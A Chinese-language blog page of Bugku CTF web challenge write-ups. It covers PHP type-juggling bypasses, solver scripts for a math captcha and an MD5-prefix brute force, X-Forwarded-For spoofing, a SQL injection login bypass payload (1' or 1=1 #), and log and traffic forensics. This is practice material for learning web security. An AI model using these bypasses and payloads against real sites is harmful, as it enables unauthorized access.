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        <h2 id="web26"><a href="#web26" class="headerlink" title="web26"></a>web26</h2><p>php代码审计，emmm，上代码<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">$num=$_GET[<span class="string">'num'</span>]; </span><br><span class="line">$str=$_GET[<span class="string">'str'</span>]; </span><br><span class="line">show_source(<span class="keyword">__FILE__</span>); </span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($num)&amp;&amp;<span class="keyword">isset</span>($str)) &#123; </span><br><span class="line">    <span class="keyword">if</span> (preg_match(<span class="string">'/\d+/sD'</span>,$str)) &#123; </span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"vagetable hhhh"</span>; </span><br><span class="line">        <span class="keyword">exit</span>(); </span><br><span class="line">    &#125; </span><br><span class="line">    $result=is_numeric($num) <span class="keyword">and</span> is_numeric($str); </span><br><span class="line">    <span class="keyword">if</span> ($result) &#123; </span><br><span class="line">        <span class="keyword">include</span> <span class="string">"flag.php"</span>; </span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"$flag"</span>; </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">else</span>&#123; </span><br><span class="line">        <span class="keyword">echo</span> <span class="string">"vagetablessssss"</span>; </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>根据代码可以知道脚本判断用户提交的str和num是否为数字，如果是就提供flag。<br>可是在判断str为数字之前，先对其进行了正则匹配，这可咋办。<br>2333，直接利用万能的php无法处理上传数组的情况绕过它。<br>构造payload<br>？str[]=123&amp;num=123<br>得到答案<br><a id="more"></a></p>
<h2 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h2><p>一样是php代码审计<br><img src="//desperadoccy.github.io/2019/08/01/bugku-web/code.png" alt="php_code"><br>这道题其实很简单，先说一下最简解法，再来讲讲我的错误思路，以供大家反思。<br>由于file_get_contents(ssAEDsssss)，八成服务器里没有这个文件，所以该函数会返回False，也就是变量$c=False。又由于是<code>==</code>，为弱比较，直接令$a=NULL即可，因为NULL==False。<br>构造payload<br>?a=<br>就行了！</p>
<p>再说一下网上的wp，都说要利用extract函数来覆盖$b变量，也没有解释为什么。覆盖$b主要是为了保证$b是一个服务器上没有的文件，从而保证file_get_contents的返回值一定为False，从而得到结果。</p>
<p>最后来谈谈我的睿智操作，我主要是被file_get_contents函数误导了，认为它必须要输出一个字符串，然后构造$a与之相等，于是我构造了一个这样的payload <code>?$a=abc&amp;$b=php://input</code> 利用php协议给$b赋值为文件，可是这样根本行不通啊，file_get_contents函数传参是文件名，而我传的是文件，肯定错的啊。所以就卡住了，哭泣。</p>
<h2 id="web2"><a href="#web2" class="headerlink" title="web2"></a>web2</h2><p>一道利用脚本上传数据的题目，先用正则匹配出html中的算式，然后计算出结果，post给服务器得到答案。<br>要注意使用request.session，要不然两次请求之间没有关系，两次请求相当于刷新了。<br>另外由于这题以前做过，所以脚本正则写的很丑陋，勿喷。<br>上payload<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line">url = <span class="string">'http://123.206.31.85:10002/'</span></span><br><span class="line">c = requests.session()</span><br><span class="line">response = c.get(url)</span><br><span class="line">a = response.text</span><br><span class="line">a = re.findall(<span class="string">'[(]*[0-9]+.*[)]*'</span>, a)</span><br><span class="line">a = a[<span class="number">0</span>].replace(<span class="string">'&lt;/p&gt;'</span>,<span class="string">''</span>)</span><br><span class="line">print(a)</span><br><span class="line">print(eval(a))</span><br><span class="line">b = eval(a)</span><br><span class="line">response = c.post(url, data=&#123;<span class="string">'result'</span>: b&#125;)</span><br><span class="line">print(response.text)</span><br></pre></td></tr></table></figure></p>
<h2 id="流量审计"><a href="#流量审计" class="headerlink" title="流量审计"></a>流量审计</h2><p>第一次，理所当然用文本查看，结果没有flag，接着继续审计，因为自己不太会使用wireshark，所以做的很差，其实直接追踪它的TCP流就能看到整个流量包是在实行一个远程登录操作（OICQ远程？？？）<br>而我是慢慢肉眼审计，在TELNET协议里发现了flag。<br>orz，感觉得花时间学习一下wireshark了。</p>
<h2 id="web6"><a href="#web6" class="headerlink" title="web6"></a>web6</h2><p>查看源码发现注释里有一串base64编码，解码为test123，猜测是密码，因为是管理员系统，再猜测账号为admin，登录，需要本地IP登录。利用IP伪造X-Forwarded-For登录（IP伪造可看我的<a href="https://desperadoccy.github.io/2019/07/31/False-ip/">文章</a>），爆出flag。</p>
<h2 id="web11"><a href="#web11" class="headerlink" title="web11"></a>web11</h2><p>查看源码，发现title提示robots，访问网站的/robots.txt文件（robots不懂的自行百度Goolge），发现可以访问shell.php，简单爆破出md5加密原值就能获得flag<br>上payload（很丑）<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://123.206.31.85:3030/shell.php'</span></span><br><span class="line">c = requests.session()</span><br><span class="line">response = c.get(url)</span><br><span class="line">a = response.text</span><br><span class="line">a = re.findall(<span class="string">'[0-9a-z]+'</span>, a)[<span class="number">15</span>]</span><br><span class="line">print(a)</span><br><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">    md5 = hashlib.md5()</span><br><span class="line">    md5.update(str(i).encode(<span class="string">'utf-8'</span>))</span><br><span class="line">    ans = md5.hexdigest()</span><br><span class="line">    ans = ans[<span class="number">0</span>:<span class="number">6</span>]</span><br><span class="line">    <span class="keyword">if</span> ans == a:</span><br><span class="line">        print(i)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        i+=<span class="number">1</span></span><br><span class="line">response = c.get(url, params=&#123;<span class="string">'password'</span>:str(i)&#125;)</span><br><span class="line">print(response.text)</span><br></pre></td></tr></table></figure></p>
<h2 id="web13"><a href="#web13" class="headerlink" title="web13"></a>web13</h2><p>每次做题目都会忘记查看header的提示，header，header，header！重要的事情说三遍。<br>用burp抓包，发现返回包头里有一个password参数，用base64解码，得到一个flag，尝试提交，失败。然后尝试提交给服务器，依旧失败，去掉flag{}后再次提交，成功，结果告知太慢，那就只能写脚本了。<br>payload<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://123.206.31.85:10013/index.php'</span></span><br><span class="line">c = requests.session()</span><br><span class="line">response = c.get(url)</span><br><span class="line">a = response.headers[<span class="string">'Password'</span>]</span><br><span class="line">a = str(base64.b64decode(a))</span><br><span class="line">a = a[<span class="number">7</span>:<span class="number">-2</span>]</span><br><span class="line">print(a)</span><br><span class="line">response = c.post(url, data=&#123;<span class="string">'password'</span>: a&#125;)</span><br><span class="line">print(response.text)</span><br></pre></td></tr></table></figure></p>
<h2 id="日志审计"><a href="#日志审计" class="headerlink" title="日志审计"></a>日志审计</h2><p>比较简单，就是有点伤眼睛。<br>一个访问记录日志，查找状态为200日志，找到了一串sql injection的url，直接ASCII转换就是结果。</p>
<h2 id="web4"><a href="#web4" class="headerlink" title="web4"></a>web4</h2><p>简单的sql注入题<br>直接使用万能密码就能注入，账号admin，密码1’ or 1=1 #</p>
<h2 id="web9"><a href="#web9" class="headerlink" title="web9"></a>web9</h2><p>题目叫我们PUT一个数据，那我们就PUT呗。<br>用POSTman直接可以PUT，返回base64串，解密得到答案。</p>

      
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